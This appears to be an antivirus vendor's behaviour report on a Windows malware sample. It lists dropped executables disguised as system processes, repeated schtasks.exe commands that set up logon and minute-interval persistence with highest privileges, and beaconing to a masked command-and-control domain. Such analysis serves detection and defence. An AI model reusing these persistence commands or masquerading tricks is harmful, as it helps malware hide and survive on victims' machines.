Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\<File name>
- <SYSTEM32>\tasks\<File name>r
- <SYSTEM32>\tasks\audiodga
- <SYSTEM32>\tasks\audiodg
- <SYSTEM32>\tasks\dwm
- <SYSTEM32>\tasks\dwmd
- <SYSTEM32>\tasks\iexplorei
- <SYSTEM32>\tasks\iexplore
- <SYSTEM32>\tasks\lsass
- <SYSTEM32>\tasks\lsassl
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\adobe\arm\<File name>.exe
- C:\far2\fexcept\6203df4a6bafc7
- C:\far2\fexcept\lsass.exe
- C:\far2\documentation\eng\9db6e019d4f04e
- C:\far2\documentation\eng\iexplore.exe
- C:\users\default user\9db6e019d4f04e
- C:\users\default user\iexplore.exe
- C:\far2\addons\macros\9db6e019d4f04e
- C:\far2\addons\macros\iexplore.exe
- %ProgramFiles(x86)%\mozilla thunderbird\searchplugins\9db6e019d4f04e
- %ProgramFiles(x86)%\mozilla thunderbird\searchplugins\iexplore.exe
- C:\far2\plugins\farcmds\6cb0b6c459d5d3
- C:\far2\plugins\farcmds\dwm.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\42af1c969fbb7b
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\audiodg.exe
- %ALLUSERSPROFILE%\adobe\arm\bad2016ca89c81
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\dwm.exe
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\6cb0b6c459d5d3
Network activity
Connects to
- 'ch###hub.space':80
TCP
HTTP GET requests
- http://ch###hub.space/servertrafficprivate.php?0e################################################################################################################################################...
- http://ch###hub.space/servertrafficprivate.php?wU################################################################################################################################################...
UDP
- DNS ASK ch###hub.space
Miscellaneous
Creates and executes the following
- 'C:\far2\addons\macros\iexplore.exe'
- 'C:\far2\addons\macros\iexplore.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>r" /sc MINUTE /mo 8 /tr "'%ALLUSERSPROFILE%\Adobe\ARM\<File name>.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 9 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\dwm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Far2\FExcept\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsass" /sc ONLOGON /tr "'C:\Far2\FExcept\lsass.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Far2\FExcept\lsass.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 13 /tr "'C:\Far2\Documentation\eng\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'C:\Far2\Documentation\eng\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 10 /tr "'C:\Far2\Documentation\eng\iexplore.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'C:\Users\Default User\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\iexplore.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 7 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\dwm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 8 /tr "'C:\Far2\Addons\Macros\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 5 /tr "'C:\Far2\Addons\Macros\iexplore.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 9 /tr "'%ProgramFiles(x86)%\Mozilla Thunderbird\searchplugins\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Mozilla Thunderbird\searchplugins\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplorei" /sc MINUTE /mo 13 /tr "'%ProgramFiles(x86)%\Mozilla Thunderbird\searchplugins\iexplore.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\Far2\Plugins\FarCmds\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'C:\Far2\Plugins\FarCmds\dwm.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 6 /tr "'C:\Far2\Plugins\FarCmds\dwm.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodga" /sc MINUTE /mo 7 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\audiodg.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodg" /sc ONLOGON /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\audiodg.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodga" /sc MINUTE /mo 7 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\audiodg.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>r" /sc MINUTE /mo 8 /tr "'%ALLUSERSPROFILE%\Adobe\ARM\<File name>.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "<File name>" /sc ONLOGON /tr "'%ALLUSERSPROFILE%\Adobe\ARM\<File name>.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "iexplore" /sc ONLOGON /tr "'C:\Far2\Addons\Macros\iexplore.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "dwmd" /sc MINUTE /mo 14 /tr "'C:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\dwm.exe'" /rl HIGHEST /f
